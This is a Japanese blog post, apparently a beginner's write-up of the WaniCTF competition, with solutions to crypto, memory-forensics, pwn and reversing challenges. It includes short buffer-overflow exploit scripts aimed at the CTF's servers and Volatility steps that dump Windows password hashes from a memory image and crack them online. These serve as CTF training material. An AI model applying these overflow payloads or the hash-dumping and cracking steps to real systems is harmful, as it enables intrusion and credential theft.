WaniCTFに参加しました
twitterで見かけた初心者CTFに参加しました。僕が言うのもなんですが、良問が多くて楽しかったです。revは全完したかった。webは全く解けませんでした。精進していきたいと思います。
今回は僕が解いた問題の中でsolve数が100人以下のやつを書いていきたいと思います。
exclusive (crypto 101pt 96solved)
配布ファイル encrypt.py , output.txt
xorを取っているので、output.txtと"FLAG{"でもう一回xorするとkeyがでてきます。ABCABだったので"ABC"をいっぱい繰り返してoutput.txtとxorすればいいとわかります。以下、コードです。
key="ABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABC"
f=open('output.txt','r')
fake=f.read()
print(fake)
f.close()
flag=""
for i in range(len(fake)):
flag+=chr(ord(key[i])^ord(fake[i]))
print(flag)
flag : FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}
Basic RSA (crypto 102pt 76solved)
nc rsa.wanictf.org 5000
解いて行くだけです。一個目がp*q(=n)して二個目がpow(m,e,n)して三個目がコードを書いて解きました。以下、コードです。
import gmpy2,binascii
n = int(input('n:'))
e = int(input('e:'))
p = int(input('p:'))
q = int(input('q:'))
c = int(input('c:'))
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print("\n")
print("m="+str(m))
flagは忘れました。
ALLIGATOR_01 (forensics 102pt 83solved)
配布ファイルALLIGATOR.zip
volatilityを使います。
$ volatility -f ALLIGATOR.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
imageinfoでOSの情報などを調べます。今回はWin7SP1x86_23418です。
次に、pstreeを使います。メモリダンプを採った時点でのプロセス一覧が取得できます。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree | grep evil
Volatility Foundation Volatility Framework 2.6
. 0x84dd6b28:evil.exe
これで終わりです。
ALLIGATOR_02 (forensics 102pt 76solved)
consolesでコマンドの実行履歴が見れます。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles | grep -n -3 flag
Volatility Foundation Volatility Framework 2.6
31-CommandCount: 1 LastAdded: 0 LastDisplayed: 0
32-FirstCommand: 0 CommandCountMax: 50
33-ProcessHandle: 0x5c
34:Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt
35-----
36-Screen 0x3363b8 X:80 Y:300
37-Dump:
38-Microsoft Windows [Version 6.1.7601]
39-Copyright (c) 2009 Microsoft Corporation. All rights reserved.
40-
41:C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt
42-FLAG{y0u_4re_c0n50les_master}
43-C:\Users\ALLIGATOR>
以上です。
ALLIGATOR_03 (forensics 104pt 58solved)
配布ファイル wani_secret.zip
systemのアドレスと、samのアドレスを知るために以下のコマンドを書きます。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual Physical Name
---------- ---------- ----
0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve
(いろいろある
0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM (これと)
(いろいろある
0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM (これ)
0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
(いろいろある
次にこの2つのアドレスを教えてあげてhashをダンプします。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump -y 0x8781a008 -s 0x93791458 > hash.txt
hash.txtの中身を見てALLIGATOR: ... :5e ... :::の5eからをコピペして次のサイトに投げます。
crackstation.net
それを使ってzipを解凍すればいいです。
var rewrite (pwn 101pt 94solved)
配布ファイル pwn02, pwn02.c
この問題ずっとBOFしてたんですがstackの書き換えだったということに気づいて、問題の読み間違いはいけないなぁ。と思いました。BOFがうまく行かなかったのは、多分この次の次のpwnと一緒でアライメントが関係しているのかなとか思ってました。
以下コードを書きます。
from ptrlib import *
import struct
sock=Socket("var.wanictf.org",9002)
elf=ELF("./pwn02")
sock.recvuntil("What's your name?:")
payload=b"A"*10
payload+=struct.pack('<L',0x494e4157)
sock.sendline(payload)
sock.interactive()
binsh address (pwn 102pt 71solved)
これは、binshのアドレスを求めよという問題でした。毎回最初にアドレスをもらって、それを使って計算するだけです。stringsいまいち分からなかったのでradare2で見ていきました。mainにstr_headのアドレスがあります。0x202010。次に、sym.vulnに/bin/shのアドレスがあります。0x202020。この差は0x000010なので、最初にもらえるアドレスにこの値を足せばいいことがわかります。適当に別のタブでpythonでも開いて計算しましょう。
ret rewrite (pwn 103pt 62solved)
これは前述したように構造はvar rewriteとほぼ一緒でした(多分)。
問題文にあるように、アライメントが少し悪さをしますよと。
なので、rp-lin-x64 --file=pwn05 --rop=1 --unique | grep "ret" をして 0x00400696: ret ; (13 found)のアドレスと一緒に書き込んでやります。これ最近、部活でやったので役に立ったなぁと思ってました。
以下にコードを書きます。
from ptrlib import *
sock=Socket("ret.wanictf.org",9005)
elf=ELF("./pwn05")
sock.recvuntil("What's your name?:")
payload=b"A"*22
payload+=p64(0x00400696)
payload+=p64(elf.symbol("win"))
sock.sendline(payload)
sock.interactive()
simple (rev 101pt 90solved)
とりあえずfileコマンドで見るとelf 64bitということが分かります。実行して適当にghidraでデコンパイルします。angrを使ってやれば終わりです。以下にコードを書きます。
import angr
project = angr.Project("./simple", auto_load_libs=False)
@project.hook(0x400876)
def print_flag(state):
print(state.posix.dumps(0))
project.terminate_execution()
project.execute()
complex (rev 111pt 32solved)
一緒です。hookするアドレスを変えて実行しましょう。
感想
webが解けなさすぎた。もっとちゃんとコード読みます。
テスト開けたらrevのstatic復習したい。volatilityは使って見たかったので楽しかった。次はgdbのもっと深い使い方を勉強したい。